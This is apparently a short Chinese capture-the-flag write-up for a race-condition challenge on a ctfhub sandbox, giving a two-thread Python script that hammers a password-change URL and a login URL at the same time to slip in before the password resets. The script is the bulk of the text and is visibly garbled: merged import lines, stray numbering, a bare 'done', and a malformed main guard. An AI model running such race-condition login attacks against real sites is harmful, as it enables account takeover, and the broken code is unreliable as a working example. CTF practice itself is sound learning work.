这道题意思是你改完密码后登录要比系统自动更改密码快
    这就是两个线程的竞争,下面代码记得改url哦


    import requests import threading

    s= requests.session()

    class Thread(threading.Thread):

    1. def __init__(self,item):
    2. threading.Thread.__init__(self)
    3. self.item = item
    4. def run(self):
    5. main(self.item)

    def main(args):

    if args == 1:
    
        while True:
    
            url1 = 'http://challenge-5355eab2222eb934.sandbox.ctfhub.com:10080/change_passwd.php?passwd=123456&passwd_confirm=123456'            c = s.get(url1).content
    
    else:
    
        while True:
    
            url2 = 'http://challenge-5355eab2222eb934.sandbox.ctfhub.com:10080/login_check.php?passwd=123456'            c1 = s.get(url2)
    
            print(c1.text)
    
            done
    

    if name==’main‘:

    t1 = Thread(1)
    
    t2 = Thread(2)
    
    t1.start()
    
    t2. start()